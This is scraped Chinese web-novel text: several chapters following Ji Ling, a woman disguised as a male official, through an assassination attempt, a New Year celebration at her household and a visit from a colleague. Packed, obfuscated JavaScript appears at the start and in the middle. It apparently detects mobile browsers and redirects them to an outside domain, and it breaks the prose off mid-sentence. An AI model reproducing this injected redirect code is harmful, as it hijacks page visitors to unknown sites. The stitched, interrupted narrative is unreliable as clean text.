0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446305|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上任时,不就十分风光吗?” 季泠想起来更觉得无语,也不知道是谁把她的档案分到徐行那儿去,偏偏她从前从未在官府明面上过过身份,上任时,各类应走的流程繁复无比,却又不能一口气结束。以至于头一个月,总要辛苦她三两日就往吏部跑一趟,免不得总和徐行打照面。 她最怕遇到这样半生不熟的人,尤其是还拿捏着她把柄的人,叫她既不敢真的猖狂,又不想装那体面。 不得已地在行简斋又过了一夜,季泠隔着帐子偷偷瞥着大夫,祈求他说出“好转”二字。 终于,她得偿所愿,差点激动地从床上翻身而下。 昨日在床上躺了一整天,她身子骨都要软了,得了大夫的许可,她颤颤巍巍地下了地,恨不得立刻飞回石竹巷,她的宝贝浮云堂此刻是那么临近天堂。 还不容她多嚣张两下,徐行带着衣冠走进来,季泠立刻收敛了,老实地扶住韩嬷嬷的手。 “一时间找不到合你身量的衣服,这是以前我还在进学时穿的,约莫你能穿上。” “多谢徐先生。” 徐行站在东厢房外,看着雪又下了起来,不过没有冬至那日大,是细如薄沙的雪,有点像他曾经在闽地时,见到的沙滩。 那儿有一片海,站在远处看,沙子如雪一样白,在阳光下泛着如群星般的亮光,是状若流星的长长海浪留下的尾光。 昨日雪停了,下人们将积雪都扫除干净,现下院子里便更敞阔些。 今年发生的事情很多,不过眼下,也暂时都清扫干净了。 瑞雪兆丰年。 今年很快就要结束了。 东厢房的风挡被揭开,里面的暖气透过人形大的缝隙,恰好打在徐行背上,他转过身,看见季泠由韩嬷嬷扶着走了出来。 她换上了徐行的葱犗色竹叶暗纹直缀,将头发用卷纹镂空束发银冠束了起来。 分明是一样的衣裳,可她穿起来,却和他当年完全不同。 “可以走了,先生。” 徐行点点头,在前头领着路,韩嬷嬷撑着伞,替她挡着风雪。 季泠低着头,看着自己几乎快要连成一条线的脚印,觉得太过有趣,她走得真慢,快要给行简斋开出条新路了。 其实她不敢抬头,徐家未必安全,她的身份若是暴露,就是欺君之罪。 季泠上了马车后,韩嬷嬷便告退了,还未等她找到合适的坐姿,徐行却上来了。 “先生,您要亲自送我回去吗?”季泠一副跌掉下巴的模样,叫徐行忍俊不禁。 他伸手将抱月刚拿来的那件狐狸毛大氅和风帽给她,先温声嘱咐:“你前日在雪地里冻了太久,别着凉了。” 季泠接过,却呆呆地看着他,徐行才开口回应她的疑惑:“我正巧要去署衙办事,经过石竹巷,同路,也不必再靡费人力,另派马车了。” 季泠带上风帽,这顶风帽比她的保暖多了,是白色缎绣忍冬纹的,里头加了厚厚的绒毛,不过她没什么眼力,识不出是什么,总归是她平日用不上的好东西。 风帽与大氅下的温暖,逐渐如温泉涤荡般,涌过她全身上下。 因着暮冬难得的熨帖,掩在阴影的嘴角在嘟囔中轻抿又微扬,连她自己也没意识到。 雪地难行,马车走得很慢,季泠心生庆幸,这样就不会颠到她的伤口了。 只是她又不得不担心,会不会耽误了徐行的公事。 透过风帽边,她偷偷瞧了徐行一眼,他倒是悠闲地闭目养神,她才放心下来。 44. 幕后真凶 马车停在浮云堂前,季泠扶着车壁慢慢挪腾着下车,林微正赶着迎上去,见到跟着季泠下车的人时,却顿住了步。 徐行站在季泠身后,替她撑着伞,季泠的脸隐匿在风帽下,只看得见一张没有血色的嘴。 “你的侍女来了。”徐行开口提醒她。 季泠仰头,透过风帽的风毛,看见一脸担忧的林微。 “林微不是我的侍女,是我的女官。”季泠回答他。 徐行点点头,表示了认可,随后就将手往前一伸,季泠接过他手中的伞柄,还留着余温。 “好好休养,我先走了。若有急事,派人来檀山巷即可。” “多谢先生。” 等徐家的马车在风雪的掩盖下离开后,林微才走到她身边,看了看马车在浮云堂前留下的车辙,若有所思。 于是千万个疑问全部涌出来:“昨日徐大人派人来说,你在徐府留宿做客。你不是去的祝家吗?你的衣服怎么也换了?……徐大人,亲自送你回来?“ 林微一张口起来就没完没了,像雪球一样的问题一个又一个砸过来,季泠将伞递给她,借她手臂的力气支撑自己前行。 “从前觉得你话少,我才乐意和你亲近的。” 林微白了她一眼,有些生气。 “扶我一下,我受伤了。”季泠轻轻几个字,林微大惊失色,立刻清退了院子里所有人,将浮云堂的隔扇门紧紧关上。 见了季泠背后的伤,又听她讲了这两日的来龙去脉,林微面色凝重:“怪我,你做官本就艰难,比公主府的日子更不太平,我却没上心,竟也没准备一些防身的工具给你,让你平白遭了灾。” “这干你什么事,真到歹人取我命的关头,你就算给我穿上金钟罩铁布衫,也是不顶用。” “那凶手?” “徐大人查着,我也不多问了。刑部大牢咱也不是没见过,进去的人,多多少少要吐一些东西出来的。现下就等他的消息吧。” 冬至三日假刚过,有朝廷命官在冬至当日被当街刺伤的消息就传开来,负责巡城监察的东城兵马司当即就因失察渎职被问了罪,吴登封作为副指挥使自然难逃责任。 他万分后悔那日去找徐行,如果不是因为受气,他也不会失察,况且谁能想到冬至时节会有人当街行凶呢! 他本以为,徐行作为张瑛的人,高低也要卖他一个面子才对,动动嘴皮子的事情,不是轻而易举? 这下倒好,他不仅没给妻子的外甥求到差事,还差点将自己的差事丢了,真是丢脸至极,回去免不得被他的父亲淮安侯责骂。 刑部大牢里,一身便衣的徐行看着从黑衣人家中搜出的画像,还有身上的箭,陷入了沉思。 好在,这副画像上的季泠是男子打扮,没有暴露她的身份。 只是,这三支箭却大有文章。。 白雕翎尖头四棱箭,这可是锦衣卫的东西。 季泠怎么会和锦衣卫扯上关系? 假后,季泠又因抱病,额外奏请休了两日假。等她回到户部,众人已经对此事众说纷纭。 季泠装作无事人一般继续忙着自己的公务,祝扶春却面红耳赤地赶了来,拉着季泠前后左右地打量。 “你这是干什么?”季泠看着他莫名激动的模样,轻轻拂开他的手。 “还好还好,”他长舒一口气,“你听说长街官员遇刺的事情了吧?我一听说是冬至那晚的事情,又在长街上,我立刻想到你,还以为是你呢...这不才赶紧来看看。” 季泠神色自若,听了也笑了:“怎么可能呢。” 祝扶春也放下心来,随即又问:“你前两日怎么没来?” “那日回去,停了的雪又下起来,我身子弱,受了寒,病倒了。” 祝扶春看着她神色倦怠,自发自责起来:“怪我,早知道就该派马车送你回去的……你那晚从那儿过,有没有看到什么、听到什么?” 季泠面不改色:“那日我走的早,倒是没察觉有什么异样,估计是我回去之后才发生的吧。” 祝扶春听了点点头,抬步离开,临走前倒是还嘱咐她:“近日不怎么太平,你也不要太迟回去,早些走吧?” 季泠仍然坐着,指了指手头因为告假而贻误的公事,笑着让他先走。 见祝扶春走后,季泠立刻变了脸色。 虽说已经过了好几日,冬日里伤势恢复得快些,但刚刚祝扶春那样把她拉来扯去的,还是祸及她的伤口。 天色已经大暗了,四下静谧无人,天玄地白,倒是有些吓人。 季泠刚往外走,就见抱月走来:“季大人。” 季泠吓了一跳,再次看向四周,只有未吹灭的烛火晃动着。她转头小声问道:“有线索了?” 抱月点了点头,季泠随即跟他上了马车,徐行正坐在马车中静候。 马车缓缓前进,车轮辗过碎石残雪,车轿内的谈话被风声与杂声盖过,在六部衙门前留下夏日虫鸣般的嗡语。 “你认识锦衣卫的人?”徐行见她上来,直接开口问。 季泠将她认识的所有人都想了一通,摇了头:“锦衣卫?没有啊,我从未和他们打过交道。” “那日的箭是锦衣卫的。”这个消息让季泠摸不着头脑,若非说锦衣卫,她只知道,越兼有两位兄长,大哥越山在锦衣卫任镇府使,二哥越川在五城兵马司领职,可她与越山从未见过面。 “兴许是碰巧?” 徐行不作声,他可不觉得锦衣卫是会路见不平的英雄好汉,但季泠的神情,不像是撒谎,既然如此,他暂时不在此事上细问了。 “这幅画你看看。你能不能看出是谁画的?” 徐行将画像递给她,季泠摊开一看,瞳孔瞬间放大,又不可置信般,凝视着每一个细节。 徐行见她的变化,想她大概知晓是谁了:“要我帮忙吗?” 季泠顺着画像上的发丝出了神,眼神在空中呆滞地滑动:“暂时不必...我先回去弄清楚,究竟是怎么回事。” 猝不及防间,马车颠簸了一下,季泠的后背毫无阻碍地撞到侧牖边的木缘上,不期而至的痛意让她瞬间泛起冷汗,几乎未能控制不该出场的泪水不打招呼就夺眶而出。 “扯到伤口了?”徐行被她的动静带去注意,关切询问。 季泠撑着腿,僵直身子缓了许久,才腾出力,伸手摸了摸。她感觉到中衣濡湿了,冬天衣服层层,她的手上只印出一小块铜钱大的血迹。 徐行的目光在她手上滞留了一会儿,沉声吩咐抱月加快速度。 季泠摆摆手安慰他:“不妨事...前头我就感觉裂开了些,预料之中。” “预料之中?你在户部做事也都是这样冒险吗?”徐行看上去倒是没什么波澜,嘴角还是那样温和无害地微微扬起,可声音却冷冽起来了。 季泠有些无语,疼的是她,徐行着急个什么劲儿... “这不是商量凶手要紧嘛...”季泠小声嘟囔,她才委屈呢,本来都打算回去看看伤口的情况,谁知道徐行这么巧就找上门来了。 “季航青。” 许久没听见这样的称呼,季泠一愣,抬头就对上徐行深不可测的眼睛。 “我知道你做事固执,一旦开始,就不舍得停下。但是人生百十年,照你这样的做法,怕是不到三十就一身病痛了,还谈什么宏图伟业?” “知道了,先生。”季泠乖乖认怂。 每次徐行用这种口气讲话,她瞬间就回到建州做学生时,被先生默然凝视的感觉,后脖颈陡然发热,紧张得什么话都说不出来。难道就和耗子遇到猫一样,她这个学生在先生面前永远不敢抬起头来吗?可她现在高低也是个朝堂官员了啊,可不能总是这样,一点威风都没有。 徐行将她送到石竹巷后,季泠头也不回地进了门。 比起隐隐作痛的伤口,她有更重要的事情要去弄清。 季泠在浮云堂和东厢房都没见到林微的身影,招来白芨询问:“林微呢?” 白芨说:“林姑娘在天工房里了。” 为了能让林微尽情发挥自己所长,她特地在倒座房里给她布置了一个工房。 “门关上,你来帮我换药。” 白芨与白蔹都是公主府里出来的侍女。比起白蔹活泼好动的性子,她有许多事情更喜欢吩咐细致周到的白芨。院中的四个小丫头暂时还不知道她的身份,她不得不提心吊胆。 白芨关了门窗,将季泠的衣裳褪去一看,果然,靠近肩胛骨处的伤口都裂开了,白芨生怕将她弄疼,手中的药如清风般在她背上掠过,引起她注意的,却是白芨的抽噎声。 “傻姑娘,你哭个什么?” 白芨轻声说:“是奴婢不好,只是大人,您日夜辛苦,在院子里也不能随意暴露身份,现在受了伤也不敢张声,我只觉得您这么好的人,过的太委屈了些。” 委屈吗?其实还好,只是她的主屋门前不可避免地修筑起一道藩篱,阻隔着除她们四人之外的闯入者。 她要格外小心,再小心,以至于刚来浮云堂的那段时日,她惊惧于身份的暴露而夜不能寐。 走出这道藩篱,她要压低嗓音说话,因而她说话总是很慢,户部同僚皆赞她年少沉稳;她要迈大步子走路,以跟上那些男人的步伐,不至于在听他们茶前饭后无意谈论起他们眼中的常事、她眼中的辛秘时,因落后而错过;她还要在外头少喝水,免得那些喜欢成群结队去茅房的人总要顺带上她,甚至她推拒了,还想拉着她同行,她只能不动声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她比林微更不愿意相信,可是证据摆在眼前,而且芜华对自己的东西向来看管甚严,绝不会允许丢失。 季泠将画像卷起,不得不开始考虑后手。 “等等,”林微似乎是想起了什么,突然插了一句,“我记得,芜华曾经跟饮晴抱怨过,说她才为众人画好了像,想着日后大家散落天涯时能有个念想,只是被人拿走了一张,她要也要不回来。” “那人是谁?” “沈赟偕。” 原来是她,季泠哂笑:“那这就说得通了。” 季泠不是感觉不到沈赟偕对她的敌意,只是她顾及着沈赟偕的身份和能力,多一事不如少一事。沈赟偕是东三所出了名的骄傲和厉害,她不想和这样的人对上,如果闹到公主跟前,也是有些不像话的。 只是,她没想到,沈赟偕会做到这个地步,竟然一出手就是要人性命,完全不顾之前的同在公主府的情谊。难怪徐行说这是半年前的祸事,估计就是孙立言之案,她在公主面前得了嘉奖,让沈赟偕有了危机感。 “帮我去打探一下,她最近在做什么。”季泠很疲惫,她不想落到同室操戈的地步。她紧紧握住林微的手,把头靠在上面。人心原来是这样的深不可测,只是窥见一角,就叫人痛得撕心裂肺。 离过年就剩几天了,累日纷飞的大雪终于停歇了一日,厚厚的积雪造出的一片苍茫天地,酝酿着肃杀之气。 季泠看着窗外的一树海棠被雪压得直不起来,让人都快忘记它夏天开得有多灿烂了。 她静静地听着林微得到的消息:“沈赟偕在半年前惹恼了公主,在你入户部之时就被送到西南去了。” “西南?怎么那么远?” “想来是真的犯了什么大错,公主那日心情很不好,越大人说,这一两年是回不来了。” 季泠听完,无奈叹气。 后来徐行问她打算如何惩治凶手,她也只用自有决断堵住他的后问。 她并非心慈手软,只是沈赟偕的身份不一般。皇后是公主的生母,生下汉王三年后就薨逝了,给公主留下了几个女官,沈赟偕就是其中之一。不论这层,沈赟偕在公主府向来得力,在她出现之前,大部分的事情公主都交给了沈赟偕,公主对她十分器重。 但公主也曾告诉过她,为什么后来逐渐不重用沈赟偕了:“她虽然能力出众,但太过自负,又心胸不广,如果她自己不改变,就算本宫将她捧到高位,她也会自己摔下来。” 公主说得没错,现在沈赟偕就已经开始自取灭亡了,既然公主已经下了处置,那自己也就没必要赶尽杀绝,毕竟她还要顾及公主的面子和心情。西南离京城千里,就算沈赟偕想要再害她,也鞭长莫及了。 45. 新岁双庆(上) 一大早,白蔹服侍着季泠换上去衙门的小杂花纹鹭鸶补子青袍和素银腰带,季泠自己伸手带上了乌纱帽。 “大人,今日是除夕,您今晚可要早些回来,奴婢们已经让小厨房准备今年的年夜饭了。” 她笑着点头,内院里的侍女丫头都是远离亲人、小小年纪就入府服侍的,就算她再怎么好,这些姑娘也终究是要看人眼色,辛苦度日。 既然到了年节,不如好好准备一下,让她们开心开心,这冷清的浮云堂也能热闹热闹。 初一到初五是朝廷给的元旦假,她年底忙碌许久,又应对了那么多意外,也想趁此机会好好休息一阵儿。 今年是季泠在新宅子的第一个新年,也是她自己主持的第一个新年,自然是十分看重的。 下值时辰一到,季泠就收好案牍牒呈,准备着从衙门散步着回去。 祝扶春抬头,就见到季泠迫不及待的模样,十分惊讶:“执庸,少见啊!你今日这么早就下值了!” 坐在他边上的官员也闻声抬头看向季泠,见她当场被抓包后无所适从的模样,都笑了出来。 季泠可是他们十三司有名的公务狂人,几乎每日都是最早点卯,最晚下值的,以至于有人打趣儿说,季泠该替户部多出些烛火暖炭才是。 赶在旧年最后一日把手头的事情都处理完,季泠心情大好,她自然乐得开心,于是也承下了祝扶春对她的玩笑:“新年新气象嘛!我总不能在最后一日又使了各位份例的烛火。况且,扶春兄家有贤妻打点,回去自然畅快享受,我可是孤家寡人一个,可不是要回去独自辛苦准备着?” 说完对着几人灿烂地笑了笑,道了别离开。 祝扶春一时间愣神了,今日季泠怎么这么开心,脸颊红润,面若桃花,最后笑的那一下,像冬日突然放晴的一束阳光,将人晃得失神。 “季大人看起来真的是细皮嫩肉啊,跟女子相比也不逊色呢。” “是啊是啊...” 祝扶春微微皱眉,听着旁边几人的议论,有些不满。 不过她看起来确实…有些太白净了,总是穿得很多,从来也不蓄须。 可转念一想,似乎建州出来的男子都是如此,季泠眉目秾丽,可唇鼻朗逸,也不比他矮上太多,举手投足十足十的内秀公子模样,想来是不太可能的。 他瞧着季泠的公案,无奈地摇摇头,扫去心中疑云,复又垂首应对正事。 季泠走出衙门,仰头深吸一口气。今日是难得的好天气,天高云淡,日暖风柔。 她背手在长街上游荡着,也不知多久没好好看看这些沿街的店铺和摊贩。 兴许因为寒冷,京城冬日的白昼似乎比建州要更长些,此时长街上的人已经渐渐少了。也兴许因为富庶,它的夜晚就格外漫长,当阳光在天穹深处消散的瞬间,京城的灯火便升起了另一轮阳光,在茶酒味中,在嘈啐声中,在她不算熟悉的各处角落,各式各样的好戏为那些有充足钱财以供获取谈资的身份们倾情上演。 季泠已然开始纵心盘算着,等日后闲下来了,也在这个长街上开一家铺子,不然她这个小清官的日子也不好过呢。 经过有容阁时,季泠驻足停留,她记得祝扶春曾说过,京城的小姐们最喜欢来此处,这家首饰铺子的花样总是最多的,下到普通的木笄银簪,上到嵌了各类珍贵玉石的金钗步摇、项圈璎珞、耳环臂钏,已叫她目不暇接。 季泠背着手悠哉地欣赏金玉华光,如今她走进来,已经不再那么在意旁人的打量审视,如此说来,她到京城四年,也算收获颇丰,若是咨宁知道了,定会对她刮目相看的吧。 掌柜的见她身穿官员青袍,也不敢怠慢,亦步亦趋,注意着她的神情:“这位大人可是为家中夫人姐妹选首饰?需不需要在下为您介绍一二?” 季泠点了点头:“为家中姐妹选的。不必太华贵,简单大方就好。” 掌柜的闻言一通介绍,可惜错付了,季泠在眼花缭乱的珠玉与掌柜聒噪热情的推荐中,就选了几只娇俏脱俗的珠花就结账走人。 一旁的伙计见着季泠就这样离开,还小声抱怨:“看着也是个官家少爷,怎么这么小气……” 掌柜的看了他一眼,只嘱咐一句谨言慎行。 季泠步伐沉稳地落荒而逃,她还是高估了自己,一遇到这样能言善道之人,她差点就俗心大动。掌柜的将所有宝贝都夸得天花乱坠,她只会呆傻地信以为真,若非囊中羞涩,就真要助力东家日进斗金了。 回到家中,季泠换了一件常穿的羽扇豆蓝直身,宽袖、领口和下摆绣着暗色的葡萄藤蔓纹,为她添了几分清雅。 今年过了年,她就二十一了。 自从进了京城,她总觉得时光易逝,过了一年却像长了两岁,总感觉失去了些什么,可自己却又说不上来。 白芨已经将她的过年新衣挂在衣架上,熨烫平整,旁边放了炭盆,还挂着好几个香囊,那是白芨替她收起来的茉莉花,说着既然大人不喜欢香薰的味道,那就收一些喜欢的花草,放进香囊里,秋冬用炭盆烘一烘,衣裳上就能染上香味了。 其实现在的日子也很好,简单朴素,浮云堂里她便是一家之主。 身边几个姐妹彼此照拂着;她的衣食住行总有人悉心照料;户部里头的事情她也逐渐上手熟捻;祝扶春为她引见了不少同僚,她闲时也多了能一块儿谈天吃茶的友人;她的上官闫郎中虽然与她略微不对付,但应侍郎却已经记住她的名字,对她十分和善。 一切都在往她期盼的样子发展。如此回溯,她这一年也不算枉然,继而嘴角眉梢也不自觉地漾起了笑容。 “大人!晚膳已经备好了!请您去饭厅看看!”白蔹迫不及待地赶来,季泠也笑盈盈地跟她去了饭厅。 虽说浮云堂就她一个正经主子,但白芨白蔹还是准备了一桌子菜,四冷八热,还有一道甜汤和一道茶树菇鸭母汤。 季泠眼睛都直了,惊呼道:“咱家养的可是个瘦弱书生,不是扛刀武将啊!” 丫头们笑作一团,林微也眉飞色舞:“我原也觉得太多了些,但她们说今日是第一个除夕,要迎的也是咱们新宅的第一个新年,就是要热闹铺张些才好!” 季泠想想也是:“这么多菜,我也吃不完呀!不然这样,今晚没有主仆之别,咱们都是姐…兄弟姐妹的,一块儿坐下来吧,吃个年夜饭。” 白蔹白芨仍扭捏着,剩下四个丫头更是受宠若惊,连连推拒:“大人,这不合规矩呀!” “浮云堂里,我说的话就是规矩,都坐下吃。” 七人簇拥着季泠坐下来,在这个除夕夜,浮云堂内已然没有主子与侍从的身份之别,只剩下八个彼此守护的姑娘。 厚重的风挡之外,四面八方传来响彻云霄的热闹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446307|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一束又一束的烟火冲上沉黑幕天,留下前仆后继的、转瞬即逝的绚丽。 酣足过后,淋了雪的海棠树边,八人围绕着火盆说说笑笑,季泠悄悄起身,在火花爆鸣间再度出现。瞬即,石竹巷周边,不知是哪户人家的烟火窜上了天,将浮云堂照得有若白昼,季泠披着狐狸毛大氅,在光亮中现身,如月中聚雪,雪影映月。 “新年礼物!”她欢悦出声,烟火奏响掩盖她因喜悦而不慎暴露的女声,六个姑娘站起来,翘首以盼,如获至宝般看着她们的大人将装了压岁碎银的绯色荷包与精巧珠花一一放在她们手中。 丫头们大喜过望,在火盆边尖叫着又跳又笑,迫不及待地将珠花戴在头上,彼此忙不迭地相互赞赏。 林微躲在季泠身后悄声说:“你再这样,那几个小丫头非爱上你不可。” 季泠含笑斜睨了她一眼,故意使坏摆身撞她,在林微小退几步,正欲与她分说之时,面前骤然出现一个精致的描金胡桃木盒。 她当即愣住,越过木盒上的花饰,看到那双打趣的眼睛。 “那你也非得爱上我才行呢。” “我还有?” 季泠点点头,伸手打开,林微定睛一看,绒布之上摆着一条秀美的八宝璎珞,串着金银琉璃、砗磲玛瑙等珠子。 林微怔愣地接过木盒,借着季泠身后火盆中的黄晕、漫天瞬闪而过的光明,看见每一个珠子都盈着独一无二的润光。 “这个可不便宜,你俸禄不多,做什么花大价钱买这个?” 她语气中都是不解的埋怨,可眼里又流淌着感动与渴盼。 季泠附在她耳边开玩笑般地说:“只是暂放在你这儿罢了,等我日后穿回女装,定然要将今日送你的东西抢回来,带个过瘾。” 烟花一骤一骤地朝着青空飞去,震得院子中新挂上的红灯笼惊诧乱晃,灯影簌簌。 新年要到了。 季泠闭上眼睛,感受这片刻的美好。 灯树千光照,花焰七枝开。 父亲母亲、阿公阿婆,泠儿在这儿过的很好,身边都是疼惜自己的人。 你们呢?你们在宁川过的如何? 守岁守到子时,由胆大的白蔹放了一串鞭炮迎接新年,八人才散了去睡。 元日一早,季泠趁着众人还未醒来,自己摸去了厨房开始捣鼓。等到早膳时辰,桌上已经摆上了八碗素面。 “执庸,今日你一大早起来下厨了?” “在我家乡有个习俗,新年头天的第一顿要吃素面,配上素菜,起个干净头儿,祈求今年一整年平安健康。你们快尝尝,我的手艺如何?” 从前新年,她都是睡到日上三竿才起来,母亲已经煮好了素面,泡好了甜茶,就等着一家老小起床。 如今,她也成了一家子的主心骨,也第一次为她身边的人煮新年第一顿的求安面。 白蔹捧着碗,弥漫起的蒸气将她眼眶蒸红了些许:“大人...奴婢要是能一辈子都伺候您就好了...” 季泠笑着摸了摸她的头:“傻姑娘,哪有一辈子都做人奴婢的?等你们年岁到了,自己去外头闯荡谋生也好,要去选个贴心郎君也罢,没有一直留在我这儿的道理。” 于是,她们六人新年的第一发愿,便是她们的大人永远仕途顺遂,她们也能永远留在浮云堂里,这样平顺的时光,足以让她们回味一生。 46. 新岁双庆(下) 素斋过后,季泠为她们冲了甜茶。 “在我们建州,初一一早便是要喝甜茶的,取的是新岁甜蜜的好意头。若是来了客人,先不急着请座,而是要请着先喝这杯茶。” 季泠端起茶盏,向她们解释建州风俗。她在齐府的两回元旦也是这样过的,只是到了公主府后,那两年的元旦,她都独身在外。 话音未落,一道声音传来:“那可否请我这位客人喝上一杯呢?” 季泠惊讶,闻声转身看去:“扶春兄?这一大早的,你怎么来了,前院的人也没通传一下...” 祝扶春大步走来,自然地进了屋子脱下大氅:“不请自来,是不是唐突了?我让前面的不要通传,就是想让你惊上一惊。” 他舒朗一笑,季泠反而怪罪不得了,旁边的碧萝立刻退到一边,给祝扶春让出位置。 季泠带着祝扶春到会客厅落座后,亲自给他倒了一杯甜茶。 祝扶春看着季泠的背影,上下打量着,揶揄道:“执庸,新衣裳?是林姑娘替你做的?” 季泠下意识摊手看着,她今日穿的是朱草色柿蒂纹暗花缎圆领袍,加的铜鎏金冠,看起来很是明艳,与平日清淡袍服、不加修饰的样子有一些差别。 季泠也不否认,将茶递给他后,就在另一侧的圈椅上坐下。林微如果能帮她挡挡桃花,也不是不行。 祝扶春接过甜茶,热气从杯中升腾起来,他轻轻吹着茶水,水面上点缀的两颗红枣受惊般乱晃。 他忽然闻到了一缕茉莉芬芳,香气幽微,似有若无,小啜之间,略微朝季泠那侧靠去。 “你还没说是要来做什么呢。初一一大早,总不至于是来我这儿讨茶喝的吧。”季泠看着祝扶春,淡淡道。 她不是很想在这种时候被外人打扰,尤其她身份本就不便。难道这是男人之间的交友之道?那看来她还有许多细节要通习。 祝扶春也不打哑谜了,笑着说:“我们一家没时间回建州,巧的是我舅舅从建州来了京城,这几日在祝家暂时住下了,给我们带了几个攒盒。我母亲和妹妹说一定要让我送一个过来给你。” 说着就把前头一进来就搁在翘头案上的攒盒拿了来,倒是她没留心注意,反而以己度人了。 季泠接过后打开,看了一看,里头有八个小格,放了八仙糕、雪片糕、冰糖凉糕、芝麻米糕四味糕点,还有大福果、嘉庆子、十香果、凤梨干四味果脯蜜饯。 “嘉庆子?”季泠有些惊喜,其余的就算了,这个在京城真的是见不到的,她小时候就爱吃这个,只是只有逢年节时才能有机会尝到。 祝扶春见她笑了,暗想这礼倒是送对了:“你也喜欢嘉庆子?我母亲和妹妹都喜欢的。每回建州送了果脯来,别的都不见少,就嘉庆子没两日便光了。” “多谢你母亲惦记着我,还劳烦你新年头一日就送过来。可惜我这儿也什么都没准备,没法儿回你礼了。”季泠有些不好意思。 她在京城,之前的故交因为身份也不好来往,出了公主府,真的就没什么朋友了。 她以前就是一个喜欢结交伙伴、耍乐游玩的人,因而她也庆幸如今的忙碌,否则一旦闲下来,她还真不知道找谁说话去。 不过如今她也因着祝扶春认识了不少人,倒是意外之喜了。 元日正是忙碌的时候,祝扶春与她说了几句便起身告辞。季泠带着他走到庭院中,四个丫头站在那儿窃窃私语着。 “我到你那白吃那么多回饭,你还是第一次来我这儿吧?” 祝扶春点点头,停留下来。 “等年后你空了,我定要寻个好日子讹你一顿大的。” 季泠笑答:“应该的,馆子由你挑。”说罢,略微心疼地捂着荷包。 “怎么,不舍得让我在你院子里用一顿便饭吗?” “你也瞧见了,我是一个两袖清风的穷官,整个院子里就这几个人,从来不请人来的,生怕招待不周。”季泠无奈道,又恍然想起般,吩咐几人向祝扶春自我介绍、行礼问安。 祝扶春耐心地听着姑娘们莺啼一般的声音,笑道:“你院里的丫头倒是个个标致,名字起得也好,青碧紫云,藤萝缠绕,倒是后院的一处好风景。” 几个丫头都还小,平日见的外男都少,祝扶春本来就生了一副好样貌,郎艳独绝,世无其二,和她们大人的气质迥然有异。忽然得了这样英俊郎官的夸赞,都不由得羞红了脸,纷纷低下头。 季泠没好气地推了他一把,赶着他走:“你可别来招惹我的姑娘,快些走吧。” 谁人不知道他对自己的夫人一心一意,是个不可多得的专情人呢。他虽是客气一番,但这几个丫头不涉风月,若是给他搅得春心浮动,那可难办。 祝扶春确实也没想招惹这几个丫头,他只是想借此开开季泠的玩笑,不知道为什么,季泠尤其禁不起这样的调笑,每次都会气恼。 被季泠推搡了两下,他虽岿然不动,但也顺着她的意往前走。 季泠走在他的身边,随意地向他介绍季宅的布置。那股子茉莉香像化了形般,在他周身缠绕。 到了石竹巷口,季泠看着他上马车,正欲转身回去时,却猝不及防地被祝扶春揽了一下,她吓得立刻跳开。 祝扶春反而莫名其妙地看着她:“你这么激动做什么?” 季泠满身的鸡皮疙瘩,强装镇定:“没,我只是不习惯和别人接触过密。” “你啊…”祝扶春笑着摇摇头,潇洒地跳上马车。 车马辚辚而过,季泠抖了抖身子赶紧进去。 马车内,一个谜团在祝扶春心中逐渐成形。他下意识地将手放到鼻尖,幽香暗送。 元旦五日假后,只需要去衙内五天,便又是元宵的十日假。 比起元旦,各人关起门来清扫旧尘、阖家团圆,元宵反而是个热闹的大日子。 值此佳节,京城里,出行的人家会提前将车轿熏香,平日少出门的闺阁女子也会在元宵节时,准备好漂亮的罗裙,妇女们则会结伴夜游,“走百病”消去灾祸,"走桥摸钉"以求吉祥。 长街上、城隍庙中,不仅有各式各样的花灯供人们观赏、斗巧,更有许多歌舞、猴戏、杂技、摔跤、戏法、踩高跷、舞龙舞狮等演出。 在火树银花、张灯结彩的氛围之下,素日被耳提面命的规矩随着烟火喧嚣而被抛诸脑后,猜灯谜时,少男少女相见倾心,约定终身。 这样的盛况,今年季泠是体会不到了,还是觉得有些可惜。 年前,她寄了一封信到庐州府,准备与何咨宁寻个时间会面叙旧。元旦假后,她就收到庐州府的回信,何咨宁已经准备妥当,就等着季泠出发。 初十当晚下值后,季泠就开始收拾行理,此行她只准备带着林微。 “大人...您元宵不在家中过了吗?”白蔹嘴巴翘的老高。 她觉得季大人真的是个很有意思的人,如果元宵能一块儿去长街上游玩,一定别有趣味。 季泠接过她整理完的包袱,拍了拍她的肩:“没事呀,我虽然不在家中,但你可以带着她们四个小丫头去元宵灯会,多猜些灯谜,等我回来了,可要你领回来的奖品呢!” “好吧...” “我将看宅管家的重任交给你了,你可要好好表现!” 白蔹认真而郑重地点点头。季泠看着她那个样子真是可爱,忍不住摸了摸她圆润的脸。 出发之前,林微仍有些焦灼,总感觉事情不会那么顺利。 她看着季泠满怀憧憬地安排行程,将手里早就准备好的东西拿给她:“执庸。” 季泠抬头看向她,就看见她递过来一个一个匣子,打开是一些男子配饰。“这是?” 林微解释:“上次你遇刺的事情,我想想总是心有后怕,于是便制作出了一些不起眼但危急时刻可以用上的东西。” 第一个是一件牙形绞丝纹玉觿,上端钻孔,下端尖利。平日里是一件普通的装饰,可以挂在腰间,遇到危险,便可以随手拿起做个利器。 第二件则是一个蹀躞带,上面多孔,可以挂匕首、弓箭等。 最后一个,则是一把小弩,可以绑在袖中,射出毒针。 